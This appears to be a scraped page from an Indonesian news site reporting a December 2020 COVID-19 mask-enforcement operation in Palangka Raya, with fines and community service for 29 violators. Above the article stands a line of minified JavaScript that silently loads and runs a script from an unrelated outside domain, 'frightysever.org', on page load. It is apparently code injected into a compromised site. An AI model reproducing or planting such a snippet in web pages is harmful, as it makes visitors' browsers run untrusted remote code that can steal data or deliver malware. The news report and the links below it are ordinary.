(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PALANGKA RAYA — Tim gabungan Unit Reaksi Cepat (URC) Divisi Patroli Pengawasan Protokol Kesehatan (Prokes) menggelar operasi yustisi di kawasan Pasar Besar Palangka Raya, Selasa (29/12/2020).
Ipda Ketut Pardiasa, selaku Perwira Pengendali (Padal) Polresta Palangka Raya mengatakan, dalam pelaksanaan operasi yustisi ini, terjaring sebanyak 29 orang tidak memakai masker.
Dari 29 pelanggar, 14 orang mendapat sanksi denda administrasi dan 10 orang memilih sanksi kerja sosial. Sedangkan satu orang menerima teguran tertulis.
“Ini sebagai upaya memutus mata rantai penyebaran Covid-19 di Kota Palangka Raya dan dalam rangka penindakan peraturan wali kota nomor 26 tahun 2020,” ujarnya.
Ketut menegaskan, pihaknya akan terus berupaya menerapkan prokes 3 M, yakni memakai masker, mencuci tangan dan menjaga jarak, kepada masyarakat. (kanalkalimantan.com/tri)
KANALKALIMANTAN.COM, AMUNTAI - Suasana hangat tampak saat Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 14 orang calon Panitia Pengawas Kecamatan (Panwascam) di Kota Banjarbaru Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Meski suasana gelap di malam hari tak menjadi penghalang anggota Satgas TNI… Read More
Kabid Tibum: Bangunan Lainnya Kita Tunggu Proses Selanjutnya Read More
KANALKALIMANTAN.COM - Hari Reformasi Nasional diperingati setiap 21 Mei, menjadi momen pengingat seluruh masyarakat Indonesia… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Di awal tahapan Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarmasin… Read More
This website uses cookies.